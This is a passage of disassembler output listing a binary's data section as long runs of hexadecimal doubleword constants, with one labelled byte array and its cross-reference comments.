		dd 7BC9CC00h, 0B3140CA2h, 0FDB100B7h, 29516869h, 7A15D513h
		dd 0AC5AF4h, 0F034C2A7h, 1D773C9Dh, 0C098B267h,	4EDCBB20h
		dd 6828215Dh, 6005D4A8h, 0DAF3B3C6h, 0D6959007h, 0AF73CC67h
		dd 152CB1B5h, 8BACECh, 8E677262h, 25233F32h, 748FC000h
		dd 59B110EBh, 7703FC9h,	6FA441E0h, 0FE00F5E9h, 0CF425EADh
		dd 48761140h, 4700D42Fh, 0E785554Ch, 1D494890h,	5B0F024Ch
		dd 9AD85Ah, 0D662E118h,	3788B48h, 687C5CC1h, 9E400103h
		dd 4D262D0Ch, 407435BBh, 0A8F7BA5Fh, 7EF8CF01h,	0A72B3682h
		dd 4A3C3432h, 713B3287h, 4E2A4020h, 0AB0FB124h,	0A0019604h
		dd 6BEB4BDBh, 0F8C31DA4h, 0C0598F56h, 2D0DD3C0h, 0C207FF27h
		dd 58AA4917h, 9C053B05h, 0C5800419h, 60BF4FF4h,	0A1F2A8BBh
		dd 53409A8Fh, 0FA2D0063h, 0E72F4021h, 30055F3h,	29B1A7DCh
		dd 0BAECF8h, 40F999BDh,	5E57F3Ah, 0F31726h, 0F5CD8700h
		dd 0AC7B79h, 7FB45BFAh,	8FB5A137h, 67EA8E03h, 80B3FC2Bh
		dd 0EDB884Bh, 19F8EC35h, 0F3DCA763h, 0B0ED2800h, 5692D31Ch
		dd 860F1BFFh, 83F818CDh, 4B3BFB82h, 8721BDECh, 55CFE6E5h
		dd 460980FFh, 0B8EFA55Ch, 30110040h, 0C417D6C8h, 6600E09Ch
		dd 0E78C8F3Dh, 23437h, 996A1E01h, 3685D1FEh, 94C3641Eh
		dd 0CC9C070Ah, 0EEC55200h, 597D40h, 0D9E143C8h,	90D82A1Dh
		dd 1A09FFF2h, 2A141022h, 9140848Ch, 7C54AAD4h, 0AC9A50EFh
		dd 0FF441FA5h, 0CF565C50h, 3FF603Bh, 1E3FCE46h,	0AD03419Eh
		dd 79DA669Fh, 0E829986Dh, 0CB201F7Dh, 0BF59C3EFh, 2F8AF309h
		dd 4199EC80h, 0DF009039h, 982B4D47h, 7C281C0h, 0B21D5B54h
		dd 0A663B021h, 2EE0C88Eh, 7C798D00h, 0F70D817h,	349852h
		dd 5662BB54h, 2A3DE1A3h, 1C1B3400h, 2C48EBB3h, 66DC0384h
		dd 0FD90AD3Ch, 7573E9B0h, 0DF802801h, 5CF19950h, 1AB93E80h
		dd 0ACF3256Eh, 4700D8B2h, 0BC35B608h, 17911742h, 11020F8h
		dd 72F3EAECh, 9CF1BE8Bh, 0E0642663h, 59C1EC00h,	87C843h
		dd 0E1CF20DDh, 0A89CF642h, 2E00537Fh, 0DCF70D1Ch, 0A0F910h
		dd 0B65E2656h, 49EE5285h, 0BD05607Ah, 92BCDB33h, 46ECDC00h
		dd 244DA8Ah, 190E5F07h,	0B84B3BD4h, 0DCE7ECh, 0C8D1A49Ah
		dd 1635CD9Bh, 40188BB5h, 153CB80h, 7100F86Bh, 85E91E3Bh
		dd 0F98F73D5h, 0A8F330h, 0B7F238B5h, 0FFC18A37h, 0C328A600h
		dd 0EAB248EDh, 0D3730FDBh, 0E3C10CD9h, 20B3E17Ah, 0D4E9F264h
		dd 4005105h, 67B7301Ch,	161383A2h, 40C9CD8Ah, 92F71434h
		dd 5800485Ch, 0E5A93347h, 51CB997Ch, 0EC008CE3h, 16B4027Bh
		dd 359BD37h, 0C89BD7DFh, 94843Eh, 40C23A30h, 0E8035F43h
		dd 37532823h, 6F420380h, 8B7E80DFh, 60A7608Bh, 0F8EB3311h
		dd 0A03258h, 46312593h,	0F7DBADh, 0EE5C9CE0h, 0D1B7148Ch
		dd 2FEA1A00h, 0B9ED3FC1h, 3DC05D9h, 8024AB94h, 2AE78F53h
		dd 0D6E87700h, 0C42032FEh, 8726001Ah, 29B69DADh, 2201C5ECh
		dd 898DB7Ch, 0E4E86CB2h, 38D9008Fh, 2AA83DFh, 0D10E5E75h
		dd 0E069600Dh, 723A3D7Ah, 8B120089h, 0C1B5061Eh, 0FC719F80h
		dd 7DBCFE24h, 685A3000h, 97677Ch, 0C4B73A18h, 1FC67FFFh
		dd 0DB35EF05h, 34909192h, 96F43D11h, 0B500F458h, 0F0860E49h
		dd 7FE3173Fh, 0B7540009h, 1A302A79h, 3C00AA38h,	1452B11Eh
		dd 0E85ABF96h, 3AAE3382h, 10A6C320h, 0C03D8622h, 0F2098A28h
		dd 0D9027EF4h, 3A017164h, 0F0BC6082h, 0F64F0642h, 68302377h
		dd 0AA8EC02h, 4069C4F5h, 3C7C75A9h, 6F0003C0h, 2DC20492h
		dd 0EA37B7BEh, 0B1739035h, 40BAB706h, 4A6480BFh, 3CAC7F47h
		dd 40D93A9Bh, 0AD222480h, 0C1CC4CA5h, 0BF8C98C0h, 0A05CAF0Ch
		dd 0A0ECBB20h, 18CEB32Ch, 8979254h, 1715997Dh, 213CEDB8h
		dd 42283B77h, 559F0088h, 56AE2FACh, 897A5010h, 0C33C6674h
		dd 0B101009Bh, 36D24F85h, 3575002Ah, 4C4B6799h,	9600490Dh
		dd 85DC3EA4h, 5B079Ch, 0C0F969AAh, 4695789Ah, 3884320Eh
		dd 80194C7Bh, 0D2BA0030h, 49FE7EAh, 0B7333449h,	0CB08F4h
		dd 0EA0ADC21h, 0BFED8A69h, 54514A06h, 0C13325h,	5E2A912Fh
		dd 0CDBB9F3Eh, 36CC1606h, 210224h, 1889A34Dh, 0D1119666h
		dd 823BEC00h, 7ADBE2B3h, 9B590024h, 1FFE2833h, 84A0A58Ch
		dd 970C34BDh, 18427C53h, 66A90371h, 30274AD1h, 14B6593Ah
		dd 80A42506h, 90799810h, 54AE0699h, 8DEB12Ah, 0F2212C67h
		dd 655079E0h, 93A700FEh, 44D90408h, 67309B97h, 0FBD686Eh
		dd 606B7051h, 0C1C31063h, 78CEC802h, 5368264Bh,	7A6B7C18h
		dd 8806836Ah, 0CF5AB9A9h, 7A977510h, 9B0F00A2h,	0E368F3FFh
		dd 0D8720112h, 7317D100h, 6F08321Ch, 49DE16ADh,	5B10007Fh
		dd 5CFC2319h, 504E9900h, 42044A38h, 0F76E07FAh,	27BB8E3Bh
		dd 94D40073h, 7E00DCB2h, 9F3C3A97h, 0E34BECh, 4612BA0Ah
		dd 0FFE5E288h, 2C975400h, 0A2DA281Bh, 8F8706C0h, 207BF6D8h
		dd 0E31DE776h, 0C2C0BF82h, 73CF693Dh, 0E611077Dh, 1C1A265Fh
		dd 6431FE28h, 0D27B50E0h, 5872050h, 0DF600074h,	0C64868D6h
		dd 28C09827h, 0ADD0B86h, 0E87C72h, 0FAA7BAEDh, 11336916h
		dd 30180560h, 0DA6775h,	52D5D287h, 0DDED4D31h, 0D1CF441Dh
		dd 0E7500FCh, 5E18414h,	0A5F3005Fh, 9D9E7767h, 9517988Bh
		dd 0AA005EFCh, 484F09D1h, 30053EA6h, 56FB2A86h,	0E201B0B1h
		dd 6DBC8476h, 97FC6EE7h, 405F00F4h, 64B9EB94h, 840F1985h
		dd 8FBAFE54h, 5E46C079h, 1630FC8Ch, 4F4937h, 0CBFBB08Eh
		dd 6AE8B223h, 5205F67h,	52BE49E0h, 0E21F0171h, 80E542A1h
		dd 0D3418010h, 6301E912h, 607FF865h, 114B3956h,	18C0175Dh
		dd 46DF84ACh, 570A0640h, 41F9FB4Ch, 58E7F00h, 490F7D4Bh
		dd 0A0FE1E52h, 0CDFC811Ah, 18BCE2h, 68A37D4Dh, 803C2077h
		dd 629FE4E2h, 0AD2C7565h, 0E132FB9Bh, 493C3076h, 33D45611h
		dd 16806988h, 0F1644954h, 3D518B5h, 0C71019D4h,	81451C3Bh
		dd 0DFF38691h, 0C0BA5166h, 62DDCF0Ch, 4B06E218h, 63C5B79Bh
		dd 507F0110h, 6EF6E067h, 0D464E436h, 0D80B4600h, 3B415585h
		dd 0EC500065h, 488D7196h, 15FE029Bh, 5F036700h,	90886395h
		dd 448E0F14h, 0B3D31Ch,	39B34B46h, 3B007BD8h, 0CEA402FEh
		dd 289791h, 0DAE47C15h,	0CFD66081h, 880BDE00h, 0FAD5CA55h
		dd 0A7E13928h, 103A007Ch, 4D2A86B7h, 0CB1F29F0h, 3800229Bh
		dd 73326841h, 5254002Ch, 0BBDA5197h, 0AB0024E0h, 41E9369h
		dd 70E31DAEh, 113C032Bh, 18515AA9h, 69A0CFCBh, 0AE0034FCh
		dd 0BD40A29Dh, 6E39BF4Ch, 21180895h, 99402615h,	0BE84015Eh
		dd 0F13C5362h, 738A00D4h, 0E4C65860h, 0AE6CA300h, 0B6F981A6h
		dd 67D1AB0Ch, 607130C3h, 556A704Dh, 0E70FB778h,	8CDF0817h
		dd 0C5E49FCh, 0BF40ACCFh, 0A32EDC11h, 3123918h,	2B3F1106h
		dd 21EE6008h, 4E183A85h, 17A37200h, 0D1EA2648h,	83B80038h
		dd 65873401h, 5B50DC53h
		dd 0AA7C5ABDh, 0E0F4613Bh, 0FD6B390h, 98FD6708h, 0D1EBB354h
		dd 8F299001h, 2933D3Bh,	19E578C5h, 0C24560h, 43CD2181h
		dd 509CA163h, 4CFA1600h, 9580B07h, 5E51016Bh, 41023F73h
		dd 5A2E20EEh, 84FD2500h, 79A42AC1h, 0A5EABEh, 99CE24FEh
		dd 625DA831h, 7FC8E500h, 0CD0A8506h, 6E8B00AAh,	8DAC569Eh
		dd 0EC006A25h, 34DF39FCh, 1688C119h, 5523EAh, 100302A1h
		dd 6B3AFBE3h, 3E00F29Ch, 4EF65D77h, 7BDA5EEh, 92862DEDh
		dd 0E7CF97FAh, 5E3FC10Bh, 0BCE5F0ECh, 7A69C600h, 0FB59875Ah
		dd 3E3A00A4h, 0CF61DE65h, 800663C4h, 78AE7A68h,	75D40020h
		dd 763B653Fh, 7774AD2Eh, 3EF510C0h, 3DE1283h, 565F23ECh
		dd 0EAA3224Ah, 369A3100h, 28E8A583h, 0F8D5F02Ah, 40B023h
		dd 1B2DCCB2h, 92505E7Ah, 0A8C074F0h, 7DCA3F38h,	3A78CA7Fh
		dd 0F0465638h, 2A591E00h, 0F6D3DAD6h, 0D0C05231h, 0E2E46BF2h
		dd 4059C15Ah, 807A226Ah, 4DC0E368h, 9E6FF1h, 1CCB6208h
		dd 0F0661F5Ah, 0C000FB0h, 64AF2C42h, 0E22D4056h, 39A4E085h
		dd 380692Eh, 2B6576F8h,	1A007341h, 8EEFB2D9h, 0EDF2C9Ah
		dd 68696D3Ah, 8535C15Dh, 0C744CA88h, 0A5AC3DD0h, 0E9720907h
		dd 6B60F2AFh, 0F1B791h,	0F9981147h, 85E1A829h, 65710B00h
		dd 7DD2459Ch, 6DF50012h, 1E9F0ABFh, 0AA5CE129h,	43ED00A0h
		dd 0EA9928B6h, 9A493091h, 6B35C230h, 7270F3Eh, 977DD1CDh
		dd 7F0594C0h, 8EC5304Dh, 24723410h, 4B83D500h, 1F4A6260h
		dd 76F5030Bh, 1D262E30h, 21A34810h, 0F7D8EA03h,	78EEB6FCh
		dd 19C32F7Bh, 0F8069DE0h, 0A21B1Ch, 0A1D773DDh,	51BE0131h
		dd 0C3639300h, 0D05EF02h, 7EFB033Ah, 45746D27h,	0B8A059E3h
		dd 0DC03167Ch, 0B36608D1h, 0D758031Eh, 2CCC03FBh, 69EF8F8h
		dd 3A8EB203h, 0A0A34A79h, 14C19169h, 80B8CF65h,	0C5776A00h
		dd 25F34F6Bh, 5EB16C00h, 0E84210F8h, 0B3FA3E2Bh, 0A8CF1600h
		dd 2FD9C3EBh, 8E12F73Dh, 62A7844h, 7D401088h, 86FE1FCAh
		dd 40B41F41h, 22F69B04h, 0C300EC3Ah, 0BE4627F4h, 0C39FD180h
		dd 0DEAB5671h, 17C076A3h, 57074A2Bh, 0A0BC1B4Bh, 25CF4910h
		dd 0FA850091h, 0B7C19689h, 4D005064h, 4E134363h, 9837F2D4h
		dd 1B4205DFh, 0C3274835h, 6103025Fh, 0C1032A76h, 71FF83Bh
		dd 370E30F7h, 0F20F58A0h, 83A66200h, 0BEBF7EC3h, 0F6F70C26h
		dd 0CEB02C3Ah, 85084700h, 0CB55A482h, 8E9602BAh, 2F23C8Fh
		dd 0FE120840h, 0C97BAF14h, 435880A0h, 79DCA01h,	32F7022Ah
		dd 0C748C5C0h, 76E34F5Fh, 0F1028AF2h, 65BDC7A5h, 3EE077DBh
		dd 0BFF8E026h, 0F8DE9E00h, 9F46F0CEh, 9AF4169Ch, 0B4B6009Dh
		dd 78827131h, 379883Ah,	6DB32F87h, 0CDCE03E9h, 94F76B83h
		dd 0EFC0083Bh, 0E945A020h, 0E795EFh, 7B558C7Fh,	0EBAC5B96h
		dd 93002FE4h, 63BC7CEAh, 72F50C48h, 79094CB9h, 9A1B5B0Eh
		dd 31D58160h, 31D420Eh,	8EFAA932h, 0D88C0830h, 7BE78240h
		dd 9B6A0158h, 0A3CFB7FAh, 0B5089872h, 3B5BE821h, 0AE80ADD5h
		dd 659F0E29h, 2131A89Bh, 12F6C963h, 7215B4C8h, 0E19F039Dh
		dd 3321AA02h, 11874000h, 7820441Bh, 7AF533E7h, 66E06028h
		dd 0E8C0A6ACh, 0B56B6293h, 0CE0E67Fh, 0E803970Eh, 21C08408h
		dd 0E3B57343h, 78AB2825h, 24B151BEh, 0B56D30CAh, 506B8108h
		dd 7895580Ch, 0D3F1B51Fh, 0FA1A0C82h, 581013B2h, 5100AB01h
		dd 0C2ADCCECh, 0E701051Fh, 26569416h, 5AD1B770h, 0E7131170h
		dd 13FEDC0h, 0BF19ECB6h, 0C4C5D59Fh, 0A90014B5h, 0FD067808h
		dd 0E41F47Ch, 97AB669h,	43EFC680h, 0DE0152B1h, 0E66D28B5h
		dd 8982588h, 0BC232165h, 0D1F35200h, 87804D6Ah,	0D048C06Ch
		dd 9D97559h, 0F218F7B8h, 63300493h, 1CAF069h, 354CB1A3h
		dd 8C0FE88Fh, 20E68109h, 0A4210106h, 0A1502B4Ah, 3559C862h
		dd 0D9887303h, 0D8CC1D9Ch, 744BA834h, 0A18C6F0h, 19069050h
		dd 0ACDDB809h, 0CFF048h, 733A07CAh, 72924526h, 1848EE3Ah
		dd 3020628Ah, 0A7071C1Eh, 83E95FF6h, 0C57AF109h, 0B741A800h
		dd 53BD3D36h, 88CF0093h, 0BA994BACh, 240BB5FDh,	8C20FE01h
		dd 1772F086h, 0CA23D66h, 2DE990A4h, 0FE69A067h,	2E525B60h
		dd 769C30B9h, 77A1B2BEh, 0AF53A0A0h, 0BF0BD93Eh, 880A7F71h
		dd 64B90918h, 0BD07BB40h, 64C0D175h, 70319D4h, 893D918Fh
		dd 0F1AAA7A0h, 8861F15h, 7623C0h, 4CB4A3C7h, 448694EDh
		dd 0DE00D376h, 1EAA55A3h, 7C8B6F2Fh, 6D66147Ah,	606228A0h
		dd 0FD008843h, 0E15D1B1h, 9C4826D6h, 0CC02E240h, 0DE090E27h
		dd 36F26Ch, 0B282CBB7h,	24891EA3h, 8C3F409Ah, 9107A55Fh
		dd 8DCF0200h, 6ECA7DBEh, 0C5DB1E66h, 719D00ADh,	63289290h
		dd 9B228C00h, 19BC2E0Dh, 53A6075Fh, 0FFD6A846h,	5A96CA38h
		dd 0B4677A28h, 0F29FD900h, 36C9EAC8h, 77E900B3h, 72AE249Ah
		dd 0ED036C76h, 9888F4CEh, 0D42380C8h, 4DD900A5h, 31F58002h
		dd 157341DCh, 3401ADF0h, 67953079h, 0F2E4EF71h,	627800DDh
		dd 0FAF0A2B8h, 0ED006EEBh, 18B6C2Bh, 0F17DAE36h, 0F2E0DBE9h
		dd 5831F135h, 0A1DC0340h, 0F46C0EE1h, 478CE229h, 9B004A21h
		dd 0DB82E5FEh, 1DCA086h, 0A5954E48h, 0D544B8F0h, 966083EFh
		dd 61B2AA70h, 0F26F3818h, 1A61E013h, 0D5113B60h, 7A3CC0Ah
		dd 0EEEB7FB8h, 0E908BCC0h, 7720B061h, 1660CA61h, 544B00A9h
		dd 0C8A37C5Eh, 0B011CB9h, 9A6CF0D2h, 3CF94E8h, 7D3F4268h
		dd 0B800F177h, 6BAB7AD5h, 34DF430Dh, 2E186682h,	102378h
		dd 5273E689h, 7F736F5Dh, 644DF402h, 0C198413Dh,	8804084h
		dd 705105A2h, 38E67B22h, 0B913172Eh, 75398D03h,	2FDCC847h
		dd 0D64E000Eh, 0A05027EAh, 0D31F631Fh, 169C599Ah, 47694DC0h
		dd 0FE550BF5h, 0F27277FCh, 14700C84h, 4948832Fh, 8A1D9500h
		dd 0B0335B3Bh, 608B0040h, 81C24427h, 0BC7A80B5h, 9A0128DFh
		dd 72CA6C5Dh, 0E0BD5883h, 1DB8326Bh, 0DE30C462h, 0A3D0199Fh
		dd 0CFC00B5h, 85AAF1FAh, 223FC10Eh, 2E460025h, 0DBB06274h
		dd 0E06DB899h, 3D790C19h, 38685686h, 84F9800h, 0B21FC03h
		dd 19275C41h, 3DAF3860h, 29CB11E9h, 841080DCh, 0F8E8759Fh
		dd 7B18C36Fh, 99C8E53Dh, 0C700CC67h, 6C506655h,	0C2C27EEh
		dd 46F8D28Dh, 0E23A3240h, 55750043h, 0AE010D79h, 0BF8A016Dh
		dd 46F6E83Bh, 0E83EE570h, 683D6F63h, 31BD8043h,	54727DB4h
		dd 0D8600923h, 55AE48h,	62BA7184h, 0F820D830h, 0ED9879B2h
		dd 15606700h, 7718D487h, 0A0E80073h, 0C9088C78h, 311F97B2h
		dd 21CCCFC0h, 0C094E7Dh, 20787242h, 39602F68h, 80DC1296h
		dd 243F0067h, 0DEB92704h, 91799D43h, 5B6D48h, 70F180C1h
		dd 69C5F0Bh, 99CDB712h,	81F198Ah, 0B100DD84h, 0E9181372h
		dd 98340089h, 6D12FFD1h, 96982082h, 70B1B500h, 80DA3206h
		dd 97EC00D7h, 171BD516h, 0CB0F63F4h, 0E162D96Ah, 0ECBDFE9Ah
		dd 4B302F21h, 0D3C90A4Ah, 0A9155Bh, 64DA5126h, 803C0D57h
		dd 0AA310154h, 7DCB3E66h, 82C1AFEDh, 1DBE085h, 0E99C4364h
		dd 30A6AAC3h, 207CD937h, 0A8700EC7h, 728D195h, 0E49F649Ch
		dd 8ABDA092h, 653069DFh, 4C9E976h, 677D00B6h, 96125F7Ch
		dd 8300CB79h, 2CE1F1C4h, 173BB3C8h, 3600661h, 43ED8689h
		dd 0C0EF5DCBh, 4F35CA3Dh, 21F56802h, 0E1946267h, 0CEF4EA30h
		dd 7FF158E4h, 2A66050Ch, 21C05109h, 6E4CFDDh, 0C1880C1Ah
		dd 5F18AAC4h, 0BA4E620Eh
		dd 7C96C0BCh, 0A18AABh,	9010DCE9h, 0E644616Dh, 5B5440C7h
		dd 8E8C0140h, 0B6A20067h, 0C35610DAh, 7C00D628h, 894D8F1Eh
		dd 3C2092h, 0C1118E65h,	16DF91C9h, 0D49DE403h, 4AB6631h
		dd 237FCA78h, 0D9E800Ah, 0DF3A6C26h, 9E34180Bh,	878F20h
		dd 0D96DC023h, 37241338h, 266C4Ch, 0CB11ED8Ch, 18966957h
		dd 0A0EC4829h, 3B38E79Dh, 54DF810Dh, 0FBDA068h,	6C3001CBh
		dd 2477CBEAh, 762885C5h, 0A81D5AEBh, 0B2313F41h, 0F5D13E21h
		dd 980321B8h, 3546B053h, 0BE4E54E9h, 2EAE9850h,	54402D70h
		dd 7BAC9Fh, 30673627h, 46581E21h, 0C80E460h, 0EF5EC61h
		dd 0CE25FE71h, 2F98BA21h, 0CB18FCAEh, 40517600h, 639C3303h
		dd 0F8781F3Ch, 2B9740E0h, 9A963460h, 9646B00h, 76135D9Bh
		dd 0C19E0098h, 0F0B2DDFAh, 0AF0F19BAh, 7FC7EBA2h, 77102C00h
		dd 43E65Eh, 0A57A4501h,	0A3F19586h, 84882000h, 0D69641F9h
		dd 0F1B9840h, 0C524BF7h, 6E4CE660h, 0F8002A69h,	78952201h
		dd 16C1AD2h, 0F40E94C8h, 30681856h, 0C707AF6Ch,	91B0A772h
		dd 0A1814150h, 29A40051h, 0F1846BA2h, 0B9000F7Eh, 0E1DCAE83h
		dd 314EFFA6h, 1F30CD3Bh, 2444C4C6h, 0DE7A5300h,	65670EFDh
		dd 752F003Ah, 47C9B4BFh, 0A80079CBh, 56698801h,	3CA086Ch
		dd 0F8C062F0h, 70810204h, 0E0198041h, 0FCEE0E59h, 8BFF0175h
		dd 865FE92Eh, 40D7E876h, 0C7924107h, 0D5A08EFDh, 9AB82Dh
		dd 0B1F4D67Eh, 0CAD75978h, 0EEA16703h, 0ADEF3D16h, 227138C0h
		dd 6419008Ch, 0E70E02ABh, 0F616159h, 7F560610h,	33685030h
		dd 0E28945DDh, 0AC06D0D6h, 0AD2E9582h, 0C1FE00F0h, 0AB06BB94h
		dd 0FC3E33DCh, 657D00ACh, 0A0BFB485h, 5888F4A5h, 806DEA1h
		dd 0E8C5EF12h, 744FC101h, 37DB7C3Ch, 0B98BE8h, 639689F1h
		dd 4BB416D9h, 3600FDE4h, 8F1F92EAh, 24F9ADh, 0CBE33E22h
		dd 1407EE4Fh, 34F6B700h, 414EB2E4h, 27F700D2h, 3537BEDEh
		dd 0C5008971h, 329894CCh, 1D309042h, 9188CFh, 0F5088137h
		dd 160B3328h, 3B63Fh, 974FA172h, 0D5230035h, 0D629FAF8h
		dd 0DC005767h, 0B9E283F4h, 1F611FEh, 15C9952Ah,	8087F920h
		dd 0DA12EA50h, 9C5CCBh,	0E4B96C77h, 910D762Bh, 0AFC56E00h
		dd 5AC0E340h, 1F997C92h, 0A243FDh, 68279A69h, 80B5373Bh
		dd 24309204h, 517500E4h, 56E30510h, 52006B6Eh, 3F5FAFA9h
		dd 161297h, 17B74D1Ah, 0E5FBCA06h, 0D27DEE0Eh, 0C3FACEB4h
		dd 1C811BCDh, 70C89298h, 0CBC63008h, 0B3F09C00h, 0AF0D6F4Eh
		dd 0FAF7052Eh, 0A224ACh, 0F065EAC6h, 90001A10h,	624F540Bh
		dd 0A0EB4AF1h, 4D609Ch,	0B2B405ECh, 97AA44E3h, 0ABEDDA01h
		dd 3A28DBDh, 8F95F8h, 126EAF80h, 262458BFh, 512E5400h
		dd 0FE79F69Dh, 85E5008Eh, 0D50C80A4h, 0CA0F5737h, 5CC01782h
		dd 18DDF7C0h, 98083B54h, 0E0F500CEh, 0A3D2D510h, 2B1E4F36h
		dd 0ECC0D8A5h, 9B4202C2h, 68D00063h, 384E239Fh,	29060D89h
		dd 3DA57DCh, 624A0038h,	91FFB746h, 0CA006D9Dh, 9A52B3FEh
		dd 211898h, 0AADA8CCDh,	511B67CCh, 961D61F8h, 0A74E354Fh
		dd 2B31E7C7h, 26C900CBh, 739388ABh, 0BD19003Eh,	0DEEC0D4h
		dd 580AD752h, 0FBCCEC96h, 0E75A5601h, 0E6F71064h, 88DA0789h
		dd 81A3D17Eh, 814DE96Ch, 84B84518h, 3EEC1CA7h, 1FFF382Eh
		dd 28826C18h, 0F500F7D5h, 8F485A5Ch, 1504B144h,	0B8C7B413h
		dd 9D173300h, 64EA8A1Bh, 4AFB1800h, 0A7D79B5h, 3F6BEE87h
		dd 0D43B4904h, 0C53C5780h, 0A5B32DE6h, 180024B0h, 4D473F56h
		dd 8271D4h, 0D0E4E82Ch,	0E236D64h, 1DE3C339h, 73FCCCBh
		dd 7506E616h, 0BA101D40h, 40C21D95h, 5AD4C31Ch,	0E7E0173Fh
		dd 0E1007C27h, 2080783Bh, 7CCAA0DCh, 402C001Bh,	0C7D0E43h
		dd 0BD3729C3h, 56C03050h, 7FD0F3Ch, 91B7847h, 9197404Ch
		dd 0FBB0298Bh, 89531C0Ch, 186A3871h, 78A43BA3h,	461C0E4Ch
		dd 2CEBAE65h, 43C1E570h, 244D800Dh, 0C47096D0h,	72B80F8h
		dd 0C9B6AAEDh, 7F860119h, 0E74A0658h, 0D1208673h, 80180Dh
		dd 17D9E88Dh, 855881FBh, 462C41C0h, 304861E9h, 8B78449Dh
		dd 0B600878Ch, 3167C519h, 0BF021Eh, 9032E993h, 8CD1BDEh
		dd 4B584E01h, 2CA5D386h, 0F8736082h, 24A04AD8h,	19B513EDh
		dd 4E146800h, 0B21B8096h, 20952888h, 51C30C88h,	55309930h
		dd 0E8F0660Ah, 1D00ECCDh, 0BE111587h, 961904F5h, 81694ECCh
		dd 802A3789h, 0EE2F0D20h, 54C28177h, 0DCB062h, 3210C53Ah
		dd 0B0F0AAE4h, 71C8B300h, 0BC03EEADh, 0A343001Eh, 6A41D8D6h
		dd 0A0F94CFh, 0C4173180h, 1893A62Eh, 0F6D0E80Ch, 2C530A76h
		dd 0AAD0F1CEh, 0DBE73F34h, 7EF3CF0Bh, 531C77F6h, 7A92C900h
		dd 171C480h, 62781666h,	0EB675F34h, 363502AFh, 0A803404Bh
		dd 0EFC27016h, 5A200660h, 40D92990h, 77307377h,	2D30191Dh
		dd 0F99540B7h, 53203900h, 82A9F4BBh, 302B0C96h,	73583411h
		dd 1BB25703h, 9125D74Dh, 0F06FA3DCh, 0BDB00AE8h, 37FCBC00h
		dd 4BE98975h, 3E100005h, 1669247Fh, 760034A2h, 0FDFA4E7Ch
		dd 0AC8F6Bh, 0D743188h,	0D4C5E749h, 7D4B6E0Fh, 418BE05Fh
		dd 0B56299h, 8C711EB7h,	0B824591Ah, 2EBF6900h, 0A3015414h
		dd 6AB50037h, 45E04112h, 0F31F7AB2h, 0D4009E8Eh, 5FB851C9h
		dd 143A3F21h, 0EE713E80h, 7DA3C775h, 0ED007BECh, 0E42AB75Bh
		dd 3D36F0Dh, 856DC566h,	32A0CE7Fh, 600C7483h, 1091A408h
		dd 0C104A79Eh, 0BFE57A2Ch, 0A7F80010h, 0E4DA59CDh, 2B970031h
		dd 558F26BCh, 2AFAC498h, 0A5669D02h, 0E0E2AC16h, 0C764A8h
		dd 81395936h, 0BA7270F3h, 15710500h, 2F6B2E3Dh,	11E0085h
		dd 9E146C16h, 0DE0030F3h, 0BED3AA28h, 0DF551Bh,	132D1F36h
		dd 7C4C4E3Bh, 6CB75800h, 420B9270h, 0FF1000A8h,	0A4B7AD5h
		dd 0A90041E9h, 21804A56h, 9E507Ch, 1599F0ABh, 910FD747h
		dd 69F1E30Fh, 171CC00Bh, 0B7CFDEh, 0DDC822F0h, 18840EAAh
		dd 0F6D55Ch, 59B6F239h,	72354E77h, 6F780BFDh, 0B280B4FAh
		dd 3993387Dh, 5E929C00h, 189E0919h, 66A2025Bh, 2B1EEBB2h
		dd 516EBCA0h, 5890F941h, 53E53000h, 2F2DFBEFh, 0E4D50021h
		dd 0C8424D40h, 0C40EFA8Ah, 4FC57245h, 80106F06h, 54E75033h
		dd 0B6020F1Fh, 0C8349AE9h, 78E5E400h, 5150D359h, 0AD004A74h
		dd 0B03B7F6Dh, 6FCF1D09h, 94E188E7h, 8092435Eh,	10903120h
		dd 4DCC1Fh, 7739F57Ch, 0D4D853C9h, 0E30082EAh, 0CD4FCA38h
		dd 366811h, 954D5094h, 3017CF92h, 19C12F03h, 11673FC6h
		dd 0B7A5389h, 6E51F5h, 4AD72096h, 0E450F597h, 35CC982h
		dd 36CC18DEh, 0F3B86333h, 8700C2B0h, 701FF191h,	0D402F0h
		dd 640686B7h, 25FA5982h, 0E6B63Eh, 0C8C52E7Fh, 90DA41CBh
		dd 0F48AFA00h, 432424A9h, 3E140034h, 0DA653CFDh, 6BD88100h
		dd 4925BA07h, 0DF0F0067h, 0D677CF21h, 5C00F688h, 5B862F04h
		dd 3B87AC6h, 1BEBBE29h,	0F6D0288Bh, 0B100174Fh,	80EF2E8Fh
		dd 1A97A08h, 5311BB4Ch,	8174CB47h, 8CB91DC0h, 52C0E241h
		dd 50480037h, 0CB58DDBBh, 850EEA89h, 876EF4h, 0F29DF6BAh
		dd 5E1001Bh, 3952E4BEh,	91000A6Fh, 218D7A2h, 708186h, 0D02966B8h
		dd 0A79E08C2h, 0C0DA4D00h, 0D287E3DCh, 42CC0084h, 7659F028h
		dd 0CE00326Ch, 5664DA8Ah, 21BAD87h, 7258D65Dh, 5FE3DE43h
		dd 44C11FA2h, 0C7218F42h, 0A4EBE037h, 24B50413h, 801C3F82h
		dd 52DD7048h
		dd 0E870BA20h, 0D4A8D571h, 880185BBh
		db 2
byte_530055	db 61h,	26h, 79h	; DATA XREF: ___:off_43811Co
					; ___:off_438134o
		dd 73C84721h, 14484D6Fh, 703F16h, 80C85BF2h, 0FA00499Ah
		dd 0A1195F2Dh, 30F27E29h, 0F1904A9Fh, 0CAF8DBFCh, 0C984490Bh
		dd 0B66D87EFh, 7FA639E0h, 85420064h, 5B98630Bh,	6D00C6A1h
		dd 0F55181C2h, 0F4D34546h, 1CC102D2h, 91796EADh, 4EF16A40h
		dd 89DFB000h, 24A02BE1h, 87F403CFh, 0A5B99634h,	0E077C092h
		dd 3460B91h, 129105EFh,	0C07D6774h, 635980C0h, 19883A19h
		dd 0F81DF6C7h, 0C1192069h, 0E69FD600h, 285AB168h, 4AED00C2h
		dd 0B0D36C44h, 6B480821h, 5B3F48h, 0ADF4E268h, 2A5F0Bh
		dd 88DB923Eh, 0FDE980ECh, 0B50199E2h, 0A4D76B36h, 68FA791Ah
		dd 0A6EC00Ch, 0B33C6364h, 1D36008Bh, 0BABB5642h, 7A0140ECh
		dd 0F5CDB59h, 0A820D468h, 0E3A600EDh, 8B0E14C6h, 0D005A306h
		dd 0B76267CCh, 4B25E840h, 179447h, 2EFCDB56h, 9779247Ah
		dd 76057200h, 0EA8F662Bh, 698800D3h, 0FAD5B290h, 0F900AC02h
		dd 0C94D7912h, 0B41AB8h, 0B971D93Ch, 0B9CD548h,	2FFAD000h
		dd 0BBE1DEDAh, 7C3FC08h, 89F2145Eh, 0F93420D1h,	0D300CF81h
